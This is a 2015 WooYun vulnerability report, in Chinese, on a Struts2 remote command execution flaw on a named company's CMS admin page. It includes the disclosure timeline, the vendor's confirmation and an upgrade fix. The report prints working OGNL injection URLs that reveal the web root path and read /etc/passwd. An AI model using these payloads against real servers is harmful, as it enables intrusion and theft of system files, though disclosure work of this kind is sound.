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缺陷编号：wooyun-2015-0143117

漏洞标题：郑州威科姆科技股份有限公司某处存在Struts2远程命令执行漏洞(可Getshell)

相关厂商：郑州威科姆科技股份有限公司

漏洞作者： 慢慢

提交时间：2015-09-24 14:05

修复时间：2015-11-08 15:14

公开时间：2015-11-08 15:14

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2015-09-24： 细节已通知厂商并且等待厂商处理中
2015-09-24： 厂商已经确认，细节仅向厂商公开
2015-10-04： 细节向核心白帽子及相关领域专家公开
2015-10-14： 细节向普通白帽子公开
2015-10-24： 细节向实习白帽子公开
2015-11-08： 细节向公众公开

简要描述：

郑州威科姆科技股份有限公司某处存在Struts2远程命令执行漏洞。

详细说明：

地址：http://www.zzvcom.com/cms/admin/index.action
1. 爆网站路径

http://www.zzvcom.com/cms/admin/index.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


1.gif


2. 执行任意命令

http://www.zzvcom.com/cms/admin/index.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


2.gif


3.gif

漏洞证明：

地址：http://www.zzvcom.com/cms/admin/index.action
1. 爆网站路径

http://www.zzvcom.com/cms/admin/index.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


1.gif


2. 执行任意命令

http://www.zzvcom.com/cms/admin/index.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


2.gif


3.gif

修复方案：

升级struts2。

版权声明：转载请注明来源 慢慢@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-09-24 15:12

厂商回复：

正在加紧修复，多谢大侠提醒。

最新状态：

暂无